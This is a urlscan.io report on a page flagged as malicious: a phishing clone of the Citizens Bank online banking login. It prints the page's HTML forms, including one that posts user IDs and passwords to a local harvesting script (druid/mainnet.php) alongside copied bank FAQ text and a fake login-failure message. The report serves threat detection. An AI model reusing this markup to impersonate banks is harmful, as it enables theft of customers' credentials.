www.citizensaccount.serveuser.com Open in urlscan Pro
44.208.163.233  Malicious Activity! Public Scan

Form analysis
2 forms found in the DOM

POST druid/mainnet.php

<form class="pay-transfer-options clearfix" action="druid/mainnet.php" method="post">
  <section class="account-section">
    <div class="account-title clearfix">
      <p>Please enter your Online User ID and Password.</p>
    </div>
    <div class="form-item label-right full-width clearfix">
      <label for="UserID"><strong>Online User ID: </strong></label>
      <input tabindex="1" type="text" id="UserID" name="UserID" autocomplete="off" maxlength="20" class="required demo-username" required="">
      <div class="full-width checkbox-item clearfix">
        <input type="checkbox" tabindex="5" disabled="disabled" style="vertical-align:top">
        <input type="hidden" name="Register" id="Register" value="0">
        <input type="checkbox" tabindex="5" disabled="disabled" id="cbSaveUserID" name="cbSaveUserID" style="vertical-align:top">
        <span class="inline-tooltip">
          <label for="cbSaveUserID">Remember User ID</label>
          <span class="tooltip" tabindex="6" role="tooltip" aria-describedby="tooltip-content">
            <div class="tooltip-icon" title="Remember User ID tooltip"></div>
            <div class="tooltip-box">
              <div class="tooltip-content" id="aria-tooltip-content">
                <span class="tooltip-arrow"></span>
                <div>Select the "Remember User ID" box on the Login page if you want to be remembered.</div>
                <br>
                <div>Please note, if the "Remember User ID" check box is not displayed on the Login page, click on the "Login using different Online User ID" link to display it.</div>
                <br>
                <div>DO NOT check this box if you are using a public device that is accessible to others.</div>
              </div>
              <div class="bottomshadow"></div>
            </div>
          </span>
        </span>
      </div>
      <div class="form-item full-width">
        <label for="currentpassword"><strong>Password: </strong></label>
        <input tabindex="2" type="password" id="password" name="password" maxlength="15" size="15" class="required demo-password" required="">
        <!--                            <div class="show-hide">
                                <a id="showpswd">SHOW</a>
                            	</div>                           -->
      </div>
      <span class="mobile-line-break"><a tabindex="7" style="font-size:16px!important" id="troublelogging" data-trigger="login-trouble" href="/efs/ui/tli/index.html">Trouble logging in?</a></span><br>
    </div>
    <div id="fielderror" class="show-error" role="alert">We're sorry. That user ID and password does not match our records. Please try again, or do you need Login Assistance?</div>
    <div class="form-actions">
      <input type="submit" class="submit-button arrow" tabindex="3" data-trigger="next" value="Login"> <a tabindex="8" href="http://www.citizensbank.com/" class="cancel">Cancel</a>
    </div>
  </section>
</form>

Name: frmAsst — POST https://www4.citizensbankonline.com/efs/servlet/efs/login-assistance.jsp

<form action="https://www4.citizensbankonline.com/efs/servlet/efs/login-assistance.jsp" name="frmAsst" id="frmAsst" method="post">
  <input type="hidden" name="CSRF_TOKEN" value="7ZC5-7RUF-1RAD-J6WX-CIN2-B3IN-U6MX-BSLA">
  <input type="hidden" name="needHelp" value="1">
  <section class="toggle-list-container faq-container" id="faq-index-1">
    <a href="#" title="Expand contents of Where can I get login assistance for Online Banking?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">Where can I get login assistance for Online Banking?</a>
    <ul class="loginfaq sidebar-list showhide-content">
      <li>
        <p>Simply click on "Trouble logging in?" link. Or, you can click on "View All Help Topics" link, which appears on each screen.</p>
      </li>
    </ul>
  </section>
  <section class="toggle-list-container faq-container" id="faq-index-10">
    <a href="#" title="Expand contents of Is Online Banking secure?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">Is Online Banking secure?</a>
    <ul class="loginfaq sidebar-list showhide-content">
      <li>
        <p>To make Online Banking secure, Citizens Bank uses the highest level of encryption available today. Encryption is the process by which information is translated into un-interpretable code and then back to recognized information.<br>As an
          added measure, Online Banking gives you the capability to easily verify that you are on the authentic Citizens Bank website and not on a fake site created by fraudsters. Just look for the green bar (or some variation of it) in your browser
          address. The green bar should remind you that "green is good" and that our website has passed a sophisticated authentication process, letting you know you are good to go.</p>
      </li>
    </ul>
  </section>
  <section class="toggle-list-container faq-container" id="faq-index-12">
    <a href="#" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide" title="Show contents of Should my browser address bar have a green indicator when I use Online Banking?">Should my browser address bar have a "green" indicator when I use Online Banking?</a>
    <ul class="loginfaq sidebar-list showhide-content">
      <li>
        <p>Yes. As an added measure, Online Banking gives you the capability to easily verify that you are on the authentic Citizens Bank website and not on a fake site created by fraudsters. Just look for the green bar (or some variation of it) in
          your browser address. The green bar should remind you that "green is good" and that our website has passed a sophisticated authentication process, letting you know you are good to go.</p>
      </li>
    </ul>
  </section>
  <section class="toggle-list-container faq-container" id="faq-index-20">
    <a href="#" title="Expand contents of How do I log into Online Banking if I’m a first-time user?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">How do I log into Online Banking if I'm a first-time user?</a>
    <ul class="loginfaq sidebar-list showhide-content">
      <li>
        <p>Simply enter your Online User ID and Password and click "LOGIN", then answer your Challenge Question (if presented). In some situations, your Online User ID will be your ATM/Debit Card number and your Password will be the last four digits
          of your Social Security number followed by "Abcd" (e.g. 1234Abcd). If you haven't already selected an Online User ID, you will be asked to do so.</p>
      </li>
    </ul>
  </section>
</form>

Text Content

Help


SECURE ONLINE BANKING LOGIN


IMPORTANT UPDATES





 * COVID-19: Visit our Resource Center for the latest information.
 * Our new mobile banking is here! It’s easy, reliable, secure and convenient.
   Check out everything it can do and see information on how to get it.





Please enter your Online User ID and Password.

Online User ID:
Remember User ID

Select the "Remember User ID" box on the Login page if you want to be
remembered.

Please note, if the "Remember User ID" check box is not displayed on the Login
page, click on the "Login using different Online User ID" link to display it.

DO NOT check this box if you are using a public device that is accessible to
others.

Password:
Trouble logging in?

We're sorry. That user ID and password does not match our records. Please try
again, or do you need Login Assistance?
Cancel


NEED HELP?

Where can I get login assistance for Online Banking?

 * Simply click on "Trouble logging in?" link. Or, you can click on "View All
   Help Topics" link, which appears on each screen.

Is Online Banking secure?

 * To make Online Banking secure, Citizens Bank uses the highest level of
   encryption available today. Encryption is the process by which information is
   translated into un-interpretable code and then back to recognized
   information.
   As an added measure, Online Banking gives you the capability to easily verify
   that you are on the authentic Citizens Bank website and not on a fake site
   created by fraudsters. Just look for the green bar (or some variation of it)
   in your browser address. The green bar should remind you that "green is good"
   and that our website has passed a sophisticated authentication process,
   letting you know you are good to go.

Should my browser address bar have a "green" indicator when I use Online
Banking?

 * Yes. As an added measure, Online Banking gives you the capability to easily
   verify that you are on the authentic Citizens Bank website and not on a fake
   site created by fraudsters. Just look for the green bar (or some variation of
   it) in your browser address. The green bar should remind you that "green is
   good" and that our website has passed a sophisticated authentication process,
   letting you know you are good to go.

How do I log into Online Banking if I'm a first-time user?

 * Simply enter your Online User ID and Password and click "LOGIN", then answer
   your Challenge Question (if presented). In some situations, your Online User
   ID will be your ATM/Debit Card number and your Password will be the last four
   digits of your Social Security number followed by "Abcd" (e.g. 1234Abcd). If
   you haven't already selected an Online User ID, you will be asked to do so.

 * View All Help Topics
 * Haven't signed up for Online Banking? Enroll Now